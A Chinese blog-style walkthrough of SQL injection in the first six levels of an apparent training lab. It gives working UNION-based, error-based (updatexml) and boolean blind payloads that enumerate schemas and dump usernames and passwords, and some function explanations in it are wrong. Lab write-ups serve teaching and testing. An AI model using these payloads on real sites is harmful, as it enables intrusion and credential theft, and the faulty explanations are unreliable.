sql注入总结-1

SQL注入

1.查看类型

如果是字符型注入 我们可以输入?id=1\ 弹出的

near ''1') LIMIT 0,1 报错类 型为‘)

near ''1')) LIMIT 0,1 报错类型为'))

切在变为?id=1\--+后恢复正常则可以判断类型

2.id=1和id=-1的区别

    • id=1:这个条件通常用于查找数据库中 id 列值为 1 的记录。在大多数数据库中,id 通常用作主键,每个记录都有一个唯一的 id 值。因此,这个查询很可能返回数据库中 id1 的那条记录。

      这部分输入首先提供了一个无效的查询条件(-1 通常不是一个有效的 id 值,假设 id 应该是正数),并且闭合了原始查询中可能存在的单引号。这通常会导致原始查询返回空结果集,为后续的 UNION 操作做准备。

    • id=-1:这个条件用于查找 id 列值为 -1 的记录。由于 -1 不是一个通常用作主键的值(主键通常是从正整数开始的),这个查询可能不会返回任何结果,除非数据库中确实存在 id-1 的记录。

  1. 查询结果

    • 使用 id=1 作为条件的查询很可能会返回一条具体的记录,前提是数据库中存在 id1 的记录。

    • 使用 id=-1 作为条件的查询则可能不会返回任何记录,因为 -1 通常不会是有效的主键值。

在SQL注入的上下文中,使用 id=-1 可能是出于以下原因:

  • 避免返回真实数据:攻击者可能故意使用一个不可能的 id 值(如 -1),以确保原始查询不会返回任何真实的数据。这样做可以为后续的 UNION 操作清理结果集,使得注入的数据更容易被识别。

    使用union语句就需要id=-1

    3.union语句

    ?id=-1'

    union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    相当于 select * from student union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    ?id=-1为 select * from student部分 主要与后面割裂

第一关

判断为字符 ‘ 型注入

1.手工查询有多少栏目

?id=1' order by 2--+

发现3的时候可以,4的时候不可以,说明有3列

2.显示报错位

?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

3.爆库名

?id=-1' union select 1,database(),3 --+

database()为函数 可以看到该数据库

4.爆表名

?id=-1'

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat(table_name) 是一个SQL函数,它将 information_schema.tables 表中所有 table_name 列的值连接成一个字符串。

5.爆列名

?id=-1'

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

6.爆数据

?id=-1'

union select 1,group_concat(username),group_concat(password) from users --+

优化排版

?id=-1'

union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

  • 0x3a 是十六进制编码的冒号字符 :

  • 0x3C,0x68,0x72,0x2F,0x3E 是十六进制编码的字符串 </hr>,它看起来像是HTML标签 </hr>,但实际上 <hr> 是不正确的HTML标签(应该是 <hr/><hr>)。这可能是一个错误,或者攻击者可能有其他目的。

2---4关只有闭合方式不同 公式同上

第5关

1.?id=1\ 判断是字符型注入 且为 ’ 闭合

2.判断注入点

?id=1' and 1=1 --+

注入点判断

  • 您输入的 ?id=1' and 1=1 --+ 是一个典型的测试语句,用于检查注入点是否对SQL逻辑产生影响。因为 1=1 是一个永真条件,如果页面在输入这个条件后显示 “You are in…”,则意味着注入点存在,并且您可以通过改变条件来控制SQL逻辑。

  • 但是,由于页面没有回显,您可能需要尝试其他方法来确认注入点。

基于布尔值的盲注

  • 因为页面没有直接回显数据库信息,您需要根据页面内容的变化来判断注入是否成功。

  • 尝试使用不同的逻辑条件,例如:

    • ?id=1' and 1=2 --+:如果页面不显示 “You are in…”,则表示注入点可能存在,因为 1=2 是一个永假条件,应当导致原始查询失败。

    • ?id=1' and '1'='1:这是一个永真条件,如果页面显示 “You are in…”,则表示注入点存在。

    • ?id=1' and '1'='2:这是一个永假条件,如果页面不显示 “You are in…”,则进一步确认注入点存在。

3.爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

  1. ?id=1':这部分输入闭合了原始查询中可能存在的单引号,并提供了初始的查询条件。

  2. and:这是一个逻辑运算符,用于在原始查询的基础上添加额外的条件。

  3. updatexml():这是MySQL数据库中的一个函数,用于更新XML文档中的内容。它的三个参数分别是:

    • 第一个参数:XML文档的路径。

    • 第二个参数:要更新的内容。

    • 第三个参数:可选,表示更新的内容类型。

  4. concat(0x7e,(database()),0x7e):这是一个 concat() 函数,用于连接字符串。在这个例子中,它连接了以下三个部分:

    • 0x7e:这是十六进制编码的波浪号字符 ~

    • (database()):这是MySQL的 database() 函数,返回当前数据库的名称。

    • 0x7e:又是十六进制编码的波浪号字符 ~

  5. --+:这是SQL注释符号,用于注释掉原始查询中可能存在的任何后续代码,以防止语法错误。

updatexml()` 函数可能需要特定的权限才能执行。

因此,这种攻击方法通常只能在特定条件下成功,例如在渗透测试或教学环境中。在真实环境中,攻击者可能需要使用更复杂或不同的方法来利用SQL注入漏洞。

2.爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

③爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

4.爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第6关

1.?id=1\ 判断是字符型注入 且为 ’‘ 闭合

2.判断数据库长度

?id=1" and length(database())<8

?id=1" and length(database())<9

所以库名长度=8

  • 13
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值